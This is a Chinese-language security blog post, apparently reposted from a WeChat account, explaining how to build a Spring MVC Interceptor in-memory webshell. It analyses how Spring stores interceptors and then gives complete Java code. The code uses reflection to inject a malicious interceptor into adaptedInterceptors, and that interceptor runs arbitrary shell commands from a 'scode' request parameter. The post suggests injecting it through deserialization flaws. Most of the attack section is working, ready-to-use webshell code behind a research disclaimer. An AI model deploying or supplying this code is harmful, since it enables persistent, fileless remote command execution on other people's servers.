SpringMVC Interceptor 内存马

admin 2025年1月2日23:38:29评论4 views字数 4702阅读15分40秒阅读模式

Interceptor开发

创建一个Spring MVC项目,在IDEA中直接Spring Initializer即可,选择Spring Web和Maven,项目创建完毕后开始编写Interceptor

SpringMVC Interceptor 内存马

配置WebConfig

SpringMVC Interceptor 内存马

创建一个Controller访问测试

SpringMVC Interceptor 内存马

查看执行过程,如下图所示,先执行Interceptor的PreHandle,再根据该方法返回值决定是否执行对于的Controller(PreHanler返回值为True则执行),再执行PostHandler,最后执行AfterCompletion。

SpringMVC Interceptor 内存马

后面一律称呼interceptor为拦截器。

拦截器获取&&添加

在preHandle打上断点看看触发Interceptor时候的上下文信息

SpringMVC Interceptor 内存马

注意这里的堆栈信息

SpringMVC Interceptor 内存马

SpringMVC Interceptor 内存马

我们来看看这个 getHandler 方法

SpringMVC Interceptor 内存马

SpringMVC Interceptor 内存马

遍历handlerMappings,然后调用getHandler方法.

SpringMVC Interceptor 内存马

既然知道了进入这个方法前还没有该请求的处理拦截器以及方法而该方法执行完毕后却返回找到了,那么寻找拦截器以及处理方法的操作一定发生在这个函数中,细看只有这里的 getHandler 方法调用,所以进入分析

SpringMVC Interceptor 内存马

SpringMVC Interceptor 内存马

SpringMVC Interceptor 内存马

如上图所示,所有的拦截器都存储在 adaptedInterceptors 这个链表中,每次根据请求路径从所有拦截器中提取出与该请求匹配的拦截器添加到这次请求的执行链中。

SpringMVC Interceptor 内存马

回到 doDisptach 中继续分析,来到applyPreHandle调用preHandle方法

SpringMVC Interceptor 内存马

SpringMVC Interceptor 内存马

可以看到这里循环遍历了这个请求的所有拦截器并调用拦截器的 preHandle 方法,而且一旦存在某个拦截器的 prehandler 方法返回 false 就会导致if成立进而导致直接返回 false

SpringMVC Interceptor 内存马

至此,关于拦截器的操作就算是完毕了。

拦截器内存马制作

根据前面的分析过程我们知道我们所有的拦截器都保存在 adaptedInterceptors 这个链表中,所以我们的思路就是自己创建一个恶意拦截器并将其添加到其中。

(1)获取 RequestMappingHandlerMapping

(2)获取 adaptedInterceptors

(3)添加 Interceptor

获取RequestMappingHandlerMapping

WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

获取adaptedInterceptors

        Field field = null;        try {            field = RequestMappingHandlerMapping.class.getDeclaredField("adaptedInterceptors");        } catch (NoSuchFieldException e) {            e.printStackTrace();        }        field.setAccessible(true);        List<HandlerInterceptor> adaptInterceptors = null;        try {            adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping);        } catch (IllegalAccessException e) {            e.printStackTrace();        }

添加恶意拦截器

adaptInterceptors.add(new InjectEvilInterceptor("a"));

至此,这个拦截器内存马代码就算了是完成了,此时我们只需要利用反序列化之类的漏洞将该内存马注入即可。

其他版本完整代码(CV大法偷的)

import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.servlet.HandlerInterceptor;import org.springframework.web.servlet.ModelAndView;import org.springframework.web.servlet.handler.AbstractHandlerMapping;import org.springframework.web.servlet.handler.MappedInterceptor;import org.springframework.web.servlet.handler.SimpleUrlHandlerMapping;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import sun.java2d.pipe.SpanShapeRenderer;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.PrintWriter;import java.lang.reflect.Field;import java.util.List;public class SpringInterceptorMemShell implements HandlerInterceptor {    public SpringInterceptorMemShell() {        try {            WebApplicationContext context =                    (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);//            SimpleUrlHandlerMapping simpleUrlHandlerMapping = context.getBean(SimpleUrlHandlerMapping.class);            Field adaptedInterceptorsField = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");            adaptedInterceptorsField.setAccessible(true);            List<HandlerInterceptor> adaptedInterceptors = (List<HandlerInterceptor>) adaptedInterceptorsField.get(mappingHandlerMapping);//            List<HandlerInterceptor> simpleAdaptedInterceptors = (List<HandlerInterceptor>) adaptedInterceptorsField.get(simpleUrlHandlerMapping);            MappedInterceptor mappedInterceptor =                    new MappedInterceptor(new String[]{"/fj1247/**"}, new SpringInterceptorMemShell("abc"));            adaptedInterceptors.add(mappedInterceptor);            //这一步是可选的,只有当你需要在不存在的路由(即controller的url) 上访问该内存马才用.//            simpleAdaptedInterceptors.add(mappedInterceptor);        } catch (Exception e) {            e.printStackTrace();        }    }    public SpringInterceptorMemShell(String anyStr) {    }    @Override    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {        String scode = request.getParameter("scode");        if (scode != null) {            try {                PrintWriter writer = response.getWriter();                String o = "";                ProcessBuilder p;                if (System.getProperty("os.name").toLowerCase().contains("win")) {                    p = new ProcessBuilder(new String[]{"cmd.exe", "/c", scode});                } else {                    p = new ProcessBuilder(new String[]{"/bin/sh", "-c", scode});                }                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\A");                o = c.hasNext() ? c.next() : o;                c.close();                writer.write(o);                writer.flush();                writer.close();            } catch (Exception e) {            }            return false;        }        //返回false的话,整个请求到这里就结束了。        //  换言之,不再执行后面的拦截器以及Controller的处理.        //如果返回true,则继续执行后面的拦截器以及Controller的处理.        return true;    }    @Override    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {    }    @Override    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {    }}

原文始发于微信公众号(安全之道):SpringMVC Interceptor 内存马

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月2日23:38:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SpringMVC Interceptor 内存马https://cn-sec.com/archives/2496658.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息